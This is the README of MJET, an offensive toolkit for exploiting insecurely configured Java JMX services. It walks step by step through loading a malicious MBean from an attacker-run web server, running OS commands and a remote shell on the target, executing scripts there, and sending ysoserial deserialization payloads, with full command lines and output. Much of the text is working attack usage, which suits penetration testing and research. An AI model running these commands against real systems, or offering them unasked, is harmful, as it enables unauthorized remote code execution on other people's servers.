MOGWAI LABS JMX Exploitation Toolkit
MJET is a fork of sjet, which was developed by siberas but is no longer actively maintained. MJET is maintained by the MOGWAI LABS team which also provided most of the original sjet codebase.
MJET allows an easy exploitation of insecure configured JMX services. Additional background information can be found here and here.
- Jython 2.7
- Ysoserial (for exploiting deserialisation vulnerabilities via JMX)
MJET implements a CLI interface (using argparse):
jython mjet.py targetHost targetPort password MODE (modeOptions)
Where
- targetHost - the target IP address
- targetPort - the target port where JMX is running
- MODE - the script mode
- modeOptions - the options for the mode selected
Optional arguments (if JMX authentication is enabled):
- --jmxrole - the username
- --jmxpassword - the password
- install - installs the payload in the current target
- password - the password that should be set after successful installation
- payload_url - full URL to load the payload
- payload_port - port to load the payload
- uninstall - uninstalls the payload from the current target
- changepw - change the password on a already deployed payload
- password - the password to access the installed MBean
- newpass - The new password
- command - runs the command CMD in the targetHost
- password - the password to access the installed MBean
- CMD - the command to run
- shell - starts a simple shell in targetHost (with the limitations of java's Runtime.exec())
- password - the password to access the installed MBean
- javascript - runs a javascript file FILENAME in the targetHost
- password - the password to access the installed MBean
- FILENAME - the javascript to be run
- deserialize - send a ysoserial payload to the target
- gadget - gadget as provided by ysoserial, e.g., CommonsCollections6
- cmd - command to be executed
- webserver - just run the MLET web server
- payload_url - full URL to load the payload
- payload_port - port to load the payload
In the following example, the vulnerable JMX service runs on 10.165.188.23 port 2222, the attacker has the IP address 10.165.188.1. The JMX service will connect to the web service of the attacker to download the payload jar file. MJET will start the necessary web service on port 8000.
After the successful installation of the MBean, the default password is changed to the password that was provided at the command line ("super_secret").
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>
Installation with JMX credentials (also needs a weak configuration of the server):
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 super_secret install http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132 1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password
h0ng10@rocksteady:~/mjet$
After the payload was installed, we can use it to execute OS commands on the target.
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x 5 root root 4096 Apr 26 11:12 .
drwxr-xr-x 33 root root 4096 Apr 10 13:54 ..
lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8
drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib
lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy
drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8
[+] Done
h0ng10@rocksteady ~/w/mjet>
If you don't want to load Java for every command, you can use the "shell mode" to get a limited command shell.
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x 5 root root 4096 Apr 26 11:12 .
drwxr-xr-x 33 root root 4096 Apr 10 13:54 ..
lrwxrwxrwx 1 root root 12 Aug 13 2018 conf -> /etc/tomcat8
drwxr-xr-x 2 tomcat8 tomcat8 4096 Aug 13 2018 lib
lrwxrwxrwx 1 root root 17 Aug 13 2018 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Apr 26 11:12 policy
drwxrwxr-x 3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx 1 root root 19 Aug 13 2018 work -> ../../cache/tomcat8
>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8
>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet>
The example script "javaproperties.js" displays the Java properties of the vulnerable service. It can be invoked as follows:
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...
[+] Done
Change the existing password ("super_secret") to "this-is-the-new-password":
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
Uninstall the payload MBean 'MogwaiLabs' from the target:
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1 8
[+] MBean correctly uninstalled
[+] Done
Exploit Java deserialization with ysoserial on target: The file ysoserial.jar must be present in the MJET directory. You can select any ysoserial payload as you like, similar to the original ysoserial calls.
This attack even works if JMX authentication is enabled and the user has "readonly" permissions.
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected
[+] Done
It is also possible to just run the web server that provides the MLET code and the JAR file with the payload MBean
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000
MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service
Feel free to contribute.
- Hans-Martin Münch - Initial idea and work - h0ng10
- Patricio Reller - CLI and extra options - preller
- Ben Campbell - Several improvements - Meatballs1
- Arnim Rupp - Authentication support
- Sebastian Kindler - Deserialization support
See also the list of contributors who participated in this project.
This project is licensed under the MIT License - see the LICENSE file for details.
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